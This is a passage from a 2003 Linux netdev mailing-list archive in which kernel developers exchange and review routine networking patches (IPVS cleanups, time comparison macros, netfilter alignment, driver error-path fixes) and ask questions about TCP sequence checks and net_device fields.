<20030916141739.22ff0101.shemminger@osdl.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 16 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: wensong@linux-vs.org Precedence: bulk X-list: netdev Hi, If we are gonna to remove register in declarations, it is good to remove all of them, for example in the ip_vs_rr.c, ip_vs_wrr.c, ip_vs_wlc.c, ip_vs_nq.c and ip_vs_sed.c. Thanks, Wensong On Tue, 16 Sep 2003, Stephen Hemminger wrote: > GCC doesn't need register in declarations (and probably ignores them). > > diff -Nru a/net/ipv4/ipvs/ip_vs_ctl.c b/net/ipv4/ipvs/ip_vs_ctl.c > --- a/net/ipv4/ipvs/ip_vs_ctl.c Tue Sep 16 14:08:25 2003 > +++ b/net/ipv4/ipvs/ip_vs_ctl.c Tue Sep 16 14:08:25 2003 > @@ -279,7 +279,7 @@ > static __inline__ unsigned > ip_vs_svc_hashkey(unsigned proto, __u32 addr, __u16 port) > { > - register unsigned porth = ntohs(port); > + unsigned porth = ntohs(port); > > return (proto^ntohl(addr)^(porth>>IP_VS_SVC_TAB_BITS)^porth) > & IP_VS_SVC_TAB_MASK; > @@ -482,7 +482,7 @@ > */ > static __inline__ unsigned ip_vs_rs_hashkey(__u32 addr, __u16 port) > { > - register unsigned porth = ntohs(port); > + unsigned porth = ntohs(port); > > return (ntohl(addr)^(porth>>IP_VS_RTAB_BITS)^porth) > & IP_VS_RTAB_MASK; > diff -Nru a/net/ipv4/ipvs/ip_vs_lblcr.c b/net/ipv4/ipvs/ip_vs_lblcr.c > --- a/net/ipv4/ipvs/ip_vs_lblcr.c Tue Sep 16 14:08:25 2003 > +++ b/net/ipv4/ipvs/ip_vs_lblcr.c Tue Sep 16 14:08:25 2003 > @@ -171,7 +171,7 @@ > /* get weighted least-connection node in the destination set */ > static inline struct ip_vs_dest *ip_vs_dest_set_min(struct ip_vs_dest_set *set) > { > - register struct ip_vs_dest_list *e; > + struct ip_vs_dest_list *e; > struct ip_vs_dest *dest, *least; > int loh, doh; > > @@ -226,7 +226,7 @@ > /* get weighted most-connection node in the destination set */ > static inline struct ip_vs_dest *ip_vs_dest_set_max(struct ip_vs_dest_set *set) > { > - register struct ip_vs_dest_list *e; > + struct ip_vs_dest_list *e; > struct ip_vs_dest *dest, *most; > int moh, doh; > > From wensong@linux-vs.org Wed Sep 17 10:09:44 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 10:09:56 -0700 (PDT) Received: from lb1.ctrip.com ([218.244.111.2]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8HH9gYa012210 for ; Wed, 17 Sep 2003 10:09:43 -0700 Received: from penguin.linux-vs.org ([211.136.72.123]) by lb1.ctrip.com (8.12.9/8.12.9) with ESMTP id h8HH8lNb031427 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=OK); Thu, 18 Sep 2003 01:09:13 +0800 Received: from localhost (localhost.localdomain [127.0.0.1]) by penguin.linux-vs.org (8.12.8/8.12.8) with ESMTP id h8HGeZNr016014; Thu, 18 Sep 2003 00:40:35 +0800 Date: Thu, 18 Sep 2003 00:40:34 +0800 (CST) From: Wensong Zhang To: Stephen Hemminger cc: lvs-users@LinuxVirtualServer.org, Subject: Re: [PATCH] (5/6) ipvs -- use time_before/after In-Reply-To: <20030916142227.6dddd19d.shemminger@osdl.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 13 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: wensong@linux-vs.org Precedence: bulk X-list: netdev Hi, It's a good change. Dave, please apply it to your repository. Thanks, Wensong On Tue, 16 Sep 2003, Stephen Hemminger wrote: > Use time_before/after macros when comparing times. > > diff -Nru a/net/ipv4/ipvs/ip_vs_conn.c b/net/ipv4/ipvs/ip_vs_conn.c > --- a/net/ipv4/ipvs/ip_vs_conn.c Tue Sep 16 14:09:55 2003 > +++ b/net/ipv4/ipvs/ip_vs_conn.c Tue Sep 16 14:09:55 2003 > @@ -743,7 +743,7 @@ > /* if the conn entry hasn't lasted for 60 seconds, don't drop it. > This will leave enough time for normal connection to get > through. */ > - if (cp->timeout+jiffies-cp->timer.expires < 60*HZ) > + if (time_before(cp->timeout + jiffies, cp->timer.expires + 60*HZ)) > return 0; > > /* Don't drop the entry if its number of incoming packets is not > diff -Nru a/net/ipv4/ipvs/ip_vs_lblc.c b/net/ipv4/ipvs/ip_vs_lblc.c > --- a/net/ipv4/ipvs/ip_vs_lblc.c Tue Sep 16 14:09:55 2003 > +++ b/net/ipv4/ipvs/ip_vs_lblc.c Tue Sep 16 14:09:55 2003 > @@ -295,8 +295,8 @@ > > write_lock(&tbl->lock); > list_for_each_entry_safe(en, nxt, &tbl->bucket[j], list) { > - if ((now - en->lastuse) < > - sysctl_ip_vs_lblc_expiration) > + if (time_before(now, > + en->lastuse + sysctl_ip_vs_lblc_expiration)) > continue; > > ip_vs_lblc_free(en); > @@ -350,7 +350,7 @@ > > write_lock(&tbl->lock); > list_for_each_entry_safe(en, nxt, &tbl->bucket[j], list) { > - if ((now - en->lastuse) < ENTRY_TIMEOUT) > + if (time_before(now, en->lastuse + ENTRY_TIMEOUT)) > continue; > > ip_vs_lblc_free(en); > diff -Nru a/net/ipv4/ipvs/ip_vs_lblcr.c b/net/ipv4/ipvs/ip_vs_lblcr.c > --- a/net/ipv4/ipvs/ip_vs_lblcr.c Tue Sep 16 14:09:55 2003 > +++ b/net/ipv4/ipvs/ip_vs_lblcr.c Tue Sep 16 14:09:55 2003 > @@ -481,10 +481,10 @@ > > write_lock(&tbl->lock); > list_for_each_entry_safe(en, nxt, &tbl->bucket[j], list) { > - if ((now - en->lastuse) < > - sysctl_ip_vs_lblcr_expiration) { > + if (time_after(en->lastuse+sysctl_ip_vs_lblcr_expiration, > + now)) > continue; > - } > + > ip_vs_lblcr_free(en); > atomic_dec(&tbl->entries); > } > @@ -536,7 +536,7 @@ > > write_lock(&tbl->lock); > list_for_each_entry_safe(en, nxt, &tbl->bucket[j], list) { > - if ((now - en->lastuse) < ENTRY_TIMEOUT) > + if (time_before(now, en->lastuse+ENTRY_TIMEOUT)) > continue; > > ip_vs_lblcr_free(en); > diff -Nru a/net/ipv4/ipvs/ip_vs_sync.c b/net/ipv4/ipvs/ip_vs_sync.c > --- a/net/ipv4/ipvs/ip_vs_sync.c Tue Sep 16 14:09:55 2003 > +++ b/net/ipv4/ipvs/ip_vs_sync.c Tue Sep 16 14:09:55 2003 > @@ -206,8 +206,8 @@ > struct ip_vs_sync_buff *sb; > > spin_lock_bh(&curr_sb_lock); > - if (curr_sb && > - (jiffies - curr_sb->firstuse > time || time == 0)) { > + if (curr_sb && (time == 0 || > + time_before(jiffies - curr_sb->firstuse, time))) { > sb = curr_sb; > curr_sb = NULL; > } else > From jkenisto@us.ibm.com Wed Sep 17 10:59:54 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 10:59:58 -0700 (PDT) Received: from e4.ny.us.ibm.com (e4.ny.us.ibm.com [32.97.182.104]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8HHxkYa019106 for ; Wed, 17 Sep 2003 10:59:53 -0700 Received: from northrelay02.pok.ibm.com (northrelay02.pok.ibm.com [9.56.224.150]) by e4.ny.us.ibm.com (8.12.9/8.12.2) with ESMTP id h8HHw0Ru631570; Wed, 17 Sep 2003 13:58:00 -0400 Received: from us.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay02.pok.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8HHvvQB218344; Wed, 17 Sep 2003 13:57:58 -0400 Message-ID: <3F68A008.12EF3AC1@us.ibm.com> Date: Wed, 17 Sep 2003 10:55:20 -0700 From: Jim Keniston X-Mailer: Mozilla 4.75 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: "Feldman, Scott" CC: LKML , netdev , Jeff Garzik , Larry Kessler , Greg KH , Randy Dunlap , Alan Cox , Andrew Morton , David Brownell , Stephen Hemminger Subject: Re: [PATCH] Net device error logging, revised References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 17 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jkenisto@us.ibm.com Precedence: bulk X-list: netdev "Feldman, Scott" wrote: > > > 3. A new macro, netdev_fatal, is included. Given the call > > netdev_fatal(dev, HW, "NIC fried!\n"); > > the indicated message is always logged: the msglevel arg (HW, in this > > case) is NOT consulted. In fact, the msglevel arg to netdev_fatal > > is ignored in this implementation. (As previously discussed, in some > > future implementation, the msglevel could be logged to help indicate > > the circumstances under which the event was logged.) > > I couldn't find the previous discussion on netdev_fatal, so sorry if > this has already been worked out. It uses KERN_ERR; did you mean > something stronger? If not, why not just use netdev_err(dev, ALL, > "...")? What is the situation in the driver where we'd want to use > _fatal? How do I know when to use _fatal and when to use _err? > > -scott Good question. There was a discussion thread where somebody pared down the cc list (no LKML, no netdev, an apparently no Scott). I saved most of the messages, and can send them along to you if you want. Anyway, in support of passing the NETIF_MSG_* msglevel as an arg to the netdev_* macros, I said that it... > also opens the door for logging more clearly what part of the driver (PROBE, > TX, RX, etc.) the message comes from. David Brownell replied: > This is a different issue. Why wouldn't it be enough > to have unique messages? I replied: > First, I don't want acceptance of the netdev_* idea to hinge on this > minor issue. Everything below is blue(r) sky... > > That said, it could be useful for an error-analysis utility to know that > the message is (say) a WARNING categorized as an RX_ERR, especially if the > utility hasn't been configured to recognized that specific message string. > That's probably info that wouldn't come to you via printk (e.g., since > syslog discards the severity level), but could come via another logging > or monitoring system that plugs in (along with printk) via netdev_*. > > One problem with this idea is that, as I read Becker's document > (URL above), "fatal" errors should always be logged, and therefore > not tagged as PROBE, TX_ERR, etc. If we wanted to pursue this idea, > we could implement > netdev_fatal(dev, PROBE, "...") > which logs the message unconditionally (KERN_ERR) and categorizes it as > a PROBE error. Jeff Garzik replied: > printk'ing probe errors is definitely something I want to encourage. > Probe errors are the most visible indication of what went wrong, if the > driver fails to load. These are the messages that help developers > figure out the problem. So I like the direction you suggest, in "If we > wanted to pursue[...]" In summary, the idea for netdev_fatal() is based on the idea that the msglevel arg can not only be used for verbosity control, but can be logged as yet another useful piece of info. For printk-based logging, it could easily be added to the message prefix: eth2: PROBE: Invalid Ethernet address If you log this message using netdev_err(dev, PROBE, "Invalid Ethernet address\n") it will be logged only if the PROBE flag is set in the msg_enable bitmap. If you log it using netdev_fatal(dev, PROBE, "Invalid Ethernet address\n") it will always be logged. As mentioned above, I don't think the netdev_fatal idea is central to the whole netdev_printk idea. By the way, regarding using KERN_ERR vs. something stronger: It's pretty unusual for a driver to log anything as KERN_CRIT or worse -- presumably due to a desire not to overreact if the nth of n redundant devices happens to fail. So unless we can agree on a definition of KERN_CRIT (e.g., it applies to any failure that makes a device unavailable pending human intervention), I'd prefer to steer clear of that. Jim From madan@chicory.Stanford.EDU Wed Sep 17 11:29:45 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 11:29:50 -0700 (PDT) Received: from smtp9.Stanford.EDU (smtp9.Stanford.EDU [171.67.16.36]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8HITiYa020690 for ; Wed, 17 Sep 2003 11:29:45 -0700 Received: from chicory.Stanford.EDU (chicory.Stanford.EDU [171.64.73.212]) by smtp9.Stanford.EDU (8.12.9/8.12.9) with ESMTP id h8HITdUq024877 for ; Wed, 17 Sep 2003 11:29:40 -0700 (PDT) Received: (from madan@localhost) by chicory.Stanford.EDU (8.11.6/8.11.6) id h8HITdx15081; Wed, 17 Sep 2003 11:29:39 -0700 From: Madanlal Musuvathi MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16232.43027.255833.806157@chicory.Stanford.EDU> Date: Wed, 17 Sep 2003 11:29:39 -0700 To: netdev@oss.sgi.com Subject: clarification regarding tcp_sequence() fn X-Mailer: VM 7.00 under 21.4 (patch 6) "Common Lisp" XEmacs Lucid X-archive-position: 18 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: madan@cs.Stanford.EDU Precedence: bulk X-list: netdev Hi, In tcp_input.c the function tcp_sequence is defined as follows static inline int tcp_sequence(struct tcp_opt *tp, u32 seq, u32 end_seq) { return !before(end_seq, tp->rcv_wup) && !after(seq, tp->rcv_nxt + tcp_receive_window(tp)); } I read this as (after inlining tcp_receive_window()): A received tcp packet is in sequence if end_seq >= tp->rcv_wup && seq <= tp->rcv_wup + tp->rcv_wnd However, this function accepts a packet that is just to the left of the window (end_seq == tp->rcv_wup). Is this intentional? If such a packet arrives, RFC requires that a duplicate acknowledgment be sent. The linux tcp (atleast 2.4.19 & the latest 2.5 version from bitkeeper) would not acknowledge such packets in some cases. (Specifically those cases where the conditions in __tcp_ack_snd_check() fail.) madan From max@mail.sternwelten.at Wed Sep 17 11:46:05 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 11:46:18 -0700 (PDT) Received: from stallburg.dyndns.org (M1024P017.adsl.highway.telekom.at [62.47.159.241]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8HIk1Ya021449 for ; Wed, 17 Sep 2003 11:46:05 -0700 Received: from max by stallburg.dyndns.org with local id 19zhIW-0000NM-00; Wed, 17 Sep 2003 20:45:04 +0200 Date: Wed, 17 Sep 2003 20:45:04 +0200 From: maximilian attems To: kj Cc: netdev@oss.sgi.com Subject: [patch] remove " ALLMULTI check " in plip.c Message-ID: <20030917184504.GB15929@mail.sternwelten.at> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="uQr8t48UFsdbeI+V" Content-Disposition: inline User-Agent: Mutt/1.3.28i X-archive-position: 19 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: janitor@sternwelten.at Precedence: bulk X-list: netdev --uQr8t48UFsdbeI+V Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable please check the following patch maybe the comment is wrong and then it should be changed ;) it compiles, but no further checks same patch applies to 2.4.22 with offset thx for your feedback a++ maks --- linux-2.6.0-test5/drivers/net/plip.c Mon Sep 8 21:50:40 2003 +++ linux/drivers/net/plip.c Wed Sep 17 20:06:38 2003 @@ -567,14 +567,6 @@ skb->pkt_type=3DPACKET_MULTICAST; } =09 - /* - * This ALLMULTI check should be redundant by 1.4 - * so don't forget to remove it. - */ - =20 - if (ntohs(eth->h_proto) >=3D 1536) - return eth->h_proto; - =09 rawp =3D skb->data; =09 /* --uQr8t48UFsdbeI+V Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE/aKuv6//kSTNjoX0RAkuPAJ9mpMQRWu4i2hnt4+o16UqaT9x4fgCfbdCo Iunk75jZtkN2EdbdUsedo9o= =G9kW -----END PGP SIGNATURE----- --uQr8t48UFsdbeI+V-- From bdschuym@pandora.be Wed Sep 17 14:39:37 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 14:39:48 -0700 (PDT) Received: from adicia.telenet-ops.be (adicia.telenet-ops.be [195.130.132.56]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8HLdQFx010174 for ; Wed, 17 Sep 2003 14:39:27 -0700 Received: from localhost (localhost.localdomain [127.0.0.1]) by adicia.telenet-ops.be (Postfix) with SMTP id 0CDC537E84; Wed, 17 Sep 2003 23:17:31 +0200 (MEST) Received: from 192.168.123.138 (D5762BF3.kabel.telenet.be [213.118.43.243]) by adicia.telenet-ops.be (Postfix) with ESMTP id CAA7E37E4F; Wed, 17 Sep 2003 23:17:29 +0200 (MEST) From: Bart De Schuymer To: "David S. Miller" , Harald Welte Subject: Re: ipt_physdev.c alignment problems on parisc64 Date: Wed, 17 Sep 2003 23:17:38 +0200 User-Agent: KMail/1.5 Cc: hno@marasystems.com, acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com References: <200309022116.41697.bdschuym@pandora.be> <20030916140918.GF810@obroa-skai.de.gnumonks.org> <20030916181603.366b7c06.davem@redhat.com> In-Reply-To: <20030916181603.366b7c06.davem@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200309172317.38348.bdschuym@pandora.be> X-archive-position: 21 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bdschuym@pandora.be Precedence: bulk X-list: netdev On Wednesday 17 September 2003 03:16, David S. Miller wrote: > > yes. yes. yes. The whole 'kernel internal data structure exported to > > userspace' is a fundamental design flaw of iptables. There's nothing we > > can do about it, we'll have to live with it :( > > Why can't you change this? > > Just because the user gives the kernel the data in one format, this > does not at all prevent the actual iptables kernel implementation from > using some other structure to store the data. You just have to translate > things on the way in and out, that's all. In theory this is ofcourse possible. In practice this would mean changing ip_tables.c, which is not a good idea. Below is a patch that does a char-by-char compare for ipt_physdev.c. Since there have not been any reports about these alignment problems for other similar code, I'd wait with changing any of them. It's still not too late to apply the other patch that just aligned the struct member instead. Let me try to convince you one more time :) - as Harald stated it's 2.6 only, so these userspace incompatibilities are no problem - it is too much trouble to get right alignment without messing up userspace compatibility (ip_tables.c needs to be changed) - even if the other similar device comparing code needs to be fixed, there is no reason why ipt_physdev should be slowed down like all the rest. - the code below is slower It's up to you, I'm not religious about this stuff. cheers, Bart --- linux-2.6.0-test5/net/ipv4/netfilter/ipt_physdev.c.old 2003-09-17 22:55:53.000000000 +0200 +++ linux-2.6.0-test5/net/ipv4/netfilter/ipt_physdev.c 2003-09-17 22:58:17.000000000 +0200 @@ -23,7 +23,7 @@ match(const struct sk_buff *skb, int i; static const char nulldevname[IFNAMSIZ]; const struct ipt_physdev_info *info = matchinfo; - unsigned long ret; + unsigned int ret; const char *indev, *outdev; struct nf_bridge_info *nf_bridge; @@ -65,11 +65,8 @@ match(const struct sk_buff *skb, if (!(info->bitmask & IPT_PHYSDEV_OP_IN)) goto match_outdev; indev = nf_bridge->physindev ? nf_bridge->physindev->name : nulldevname; - for (i = 0, ret = 0; i < IFNAMSIZ/sizeof(unsigned long); i++) { - ret |= (((const unsigned long *)indev)[i] - ^ ((const unsigned long *)info->physindev)[i]) - & ((const unsigned long *)info->in_mask)[i]; - } + for (i = 0, ret = 0; i < IFNAMSIZ; i++) + ret |= (indev[i] ^ info->physindev[i]) & info->in_mask[i]; if ((ret == 0) ^ !(info->invert & IPT_PHYSDEV_OP_IN)) return NOMATCH; @@ -79,11 +76,8 @@ match_outdev: return MATCH; outdev = nf_bridge->physoutdev ? nf_bridge->physoutdev->name : nulldevname; - for (i = 0, ret = 0; i < IFNAMSIZ/sizeof(unsigned long); i++) { - ret |= (((const unsigned long *)outdev)[i] - ^ ((const unsigned long *)info->physoutdev)[i]) - & ((const unsigned long *)info->out_mask)[i]; - } + for (i = 0, ret = 0; i < IFNAMSIZ; i++) + ret |= (outdev[i] ^ info->physoutdev[i]) & info->out_mask[i]; return (ret != 0) ^ !(info->invert & IPT_PHYSDEV_OP_OUT); } From ja@ssi.bg Wed Sep 17 14:58:16 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 14:58:21 -0700 (PDT) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8HLw9Fx010968 for ; Wed, 17 Sep 2003 14:58:13 -0700 Received: from localhost (IDENT:ja@localhost [127.0.0.1]) by u.domain.uli (8.11.6/8.11.6) with ESMTP id h8HLvx901640; Thu, 18 Sep 2003 00:57:59 +0300 Date: Thu, 18 Sep 2003 00:57:59 +0300 (EEST) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: Stephen Hemminger cc: Wensong Zhang , , , Rusty Russell , "David S. Miller" Subject: Re: [PATCH] (6/6) ipvs -- get rid of skb_linearize In-Reply-To: <20030916142350.1da23a4a.shemminger@osdl.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 22 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Hello, On Tue, 16 Sep 2003, Stephen Hemminger wrote: > Get rid of skb_linearize warnings, by using may_pull to get the > header where needed. We have another solution for this problem, may be it is better the following stuff to be included now. Rusty, Dave? Is someone willing to review this before inclusion? http://www.ssi.bg/~ja/ipvs-2.6.0-test2/nonlinear-1.diff http://www.ssi.bg/~ja/ipvs-2.6.0-test2/forward-1.diff http://www.ssi.bg/~ja/ipvs-2.6.0-test2/no_route_proto-1.diff http://www.ssi.bg/~ja/ipvs-2.6.0-test2/tcpudp_csum-1.diff notes: http://www.ssi.bg/~ja/ipvs-2.6.0-test2/readme.txt Regards -- Julian Anastasov From rddunlap@osdl.org Wed Sep 17 15:10:36 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 15:10:42 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8HMAaFx011692 for ; Wed, 17 Sep 2003 15:10:36 -0700 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8HMAUo01901; Wed, 17 Sep 2003 15:10:30 -0700 Date: Wed, 17 Sep 2003 15:01:05 -0700 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: jgarzik@pobox.com Subject: [PATCH] janitor: insert a missing iounmap() Message-Id: <20030917150105.3a26e2a8.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 23 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please apply to 2.6.0-test5-current. Thanks. -- ~Randy From: Leann Ogasawara Subject: [Kernel-janitors] [PATCH] insert missing iounmap() Patch inserts a missing iounmap(). linux-260-test5-kj-rddunlap/drivers/net/rcpci45.c | 4 +++- 1 files changed, 3 insertions(+), 1 deletion(-) diff -puN drivers/net/rcpci45.c~net_rcpci_iounmap drivers/net/rcpci45.c --- linux-260-test5-kj/drivers/net/rcpci45.c~net_rcpci_iounmap 2003-09-10 16:47:04.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/rcpci45.c 2003-09-10 16:47:04.000000000 -0700 @@ -259,10 +259,12 @@ rcpci45_init_one (struct pci_dev *pdev, dev->set_config = &RCconfig; if ((error = register_netdev(dev))) - goto err_out_free_region; + goto err_out_iounmap; return 0; /* success */ +err_out_iounmap: + iounmap((void *) dev->base_addr); err_out_free_region: pci_release_regions (pdev); err_out_free_msgbuf: _ From rddunlap@osdl.org Wed Sep 17 15:10:36 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 15:10:47 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8HMAaFx011691 for ; Wed, 17 Sep 2003 15:10:36 -0700 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8HMAUo01892; Wed, 17 Sep 2003 15:10:30 -0700 Date: Wed, 17 Sep 2003 14:58:41 -0700 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: jgarzik@pobox.com Subject: [PATCH] janitor: ns83820 error handling Message-Id: <20030917145841.5527e046.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 24 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please apply to 2.6.0-test5-current. Acked by bcrl. Thanks. -- ~Randy Subject: Re: [Kernel-janitors] [PATCH] insert missing free_irq and fix cleanup path From: Leann Ogasawara On Thu, 2003-09-04 at 13:17, Benjamin LaHaise wrote: > The if()s before free are redundant, turf them and it's good. linux-260-test5-kj-rddunlap/drivers/net/ns83820.c | 10 ++++++---- 1 files changed, 6 insertions(+), 4 deletions(-) diff -puN drivers/net/ns83820.c~net_ns83820_err_handling drivers/net/ns83820.c --- linux-260-test5-kj/drivers/net/ns83820.c~net_ns83820_err_handling 2003-09-10 16:46:45.000000000 -0700 +++ linux-260-test5-kj-rddunlap/drivers/net/ns83820.c 2003-09-10 16:46:45.000000000 -0700 @@ -1833,13 +1833,13 @@ static int __devinit ns83820_init_one(st if (err) { printk(KERN_INFO "ns83820: unable to register irq %d\n", pci_dev->irq); - goto out_unmap; + goto out_disable; } err = register_netdev(&dev->net_dev); if (err) { printk(KERN_INFO "ns83820: unable to register netdev: %d\n", err); - goto out_unmap; + goto out_free_irq; } printk("%s: ns83820.c: 0x22c: %08x, subsystem: %04x:%04x\n", @@ -2025,9 +2025,11 @@ static int __devinit ns83820_init_one(st return 0; -out_unmap: - iounmap(dev->base); +out_free_irq: + free_irq(pci_dev->irq, dev); out_disable: + if (dev->base) + iounmap(dev->base); pci_free_consistent(pci_dev, 4 * DESC_SIZE * NR_TX_DESC, dev->tx_descs, dev->tx_phy_descs); pci_free_consistent(pci_dev, 4 * DESC_SIZE * NR_RX_DESC, dev->rx_info.descs, dev->rx_info.phy_descs); pci_disable_device(pci_dev); _ From xma@us.ibm.com Wed Sep 17 15:17:09 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 15:17:14 -0700 (PDT) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8HMH7Fx012481 for ; Wed, 17 Sep 2003 15:17:09 -0700 Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.17.195.11]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id h8HMH0bl286554; Wed, 17 Sep 2003 18:17:00 -0400 Received: from d03nm124.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay02.boulder.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8HMGxbs223030; Wed, 17 Sep 2003 16:17:00 -0600 Importance: Normal Sensitivity: Subject: ifindex & iflink in net_device To: netdev , linux-net@vger.kernel.org X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: Shirley Ma Date: Wed, 17 Sep 2003 15:16:56 -0700 X-MIMETrack: Serialize by Router on D03NM124/03/M/IBM(Release 6.0.2CF2|July 23, 2003) at 09/17/2003 16:16:59 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII X-archive-position: 25 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: xma@us.ibm.com Precedence: bulk X-list: netdev In structure net_device, ifindex is defined as interface index, iflink is defined as unique device indentifier. I've checked the iflink assignments, it's equal to ifindex in most cases, pretty confused. For IPv6, I read the RFC2373. I wonder iflink might be EUI-64 in section 2.5.1 Interface Identifiers? Anyone knows about the iflink? Thanks Shirley Ma IBM Linux Technology Center 15300 SW Koll Parkway Beaverton, OR 97006-6063 Phone: (503) 578-7638 FAX: (503) 578-3228 From rddunlap@osdl.org Wed Sep 17 15:38:40 2003 Received: with ECARTIS (v1.0.0; list netdev); Wed, 17 Sep 2003 15:38:59 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8HMcbFx013335 for ; Wed, 17 Sep 2003 15:38:38 -0700 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8HMcWo07342; Wed, 17 Sep 2003 15:38:32 -0700 Date: Wed, 17 Sep 2003 15:24:33 -0700 From: "Randy.Dunlap" To: netdev@oss.sgi.com Cc: jgarzik@pobox.com Subject: [PATCH] janitor: remove unneeded includes (hamradio) Message-Id: <20030917152433.2b253a0c.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 28 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev Hi, Please 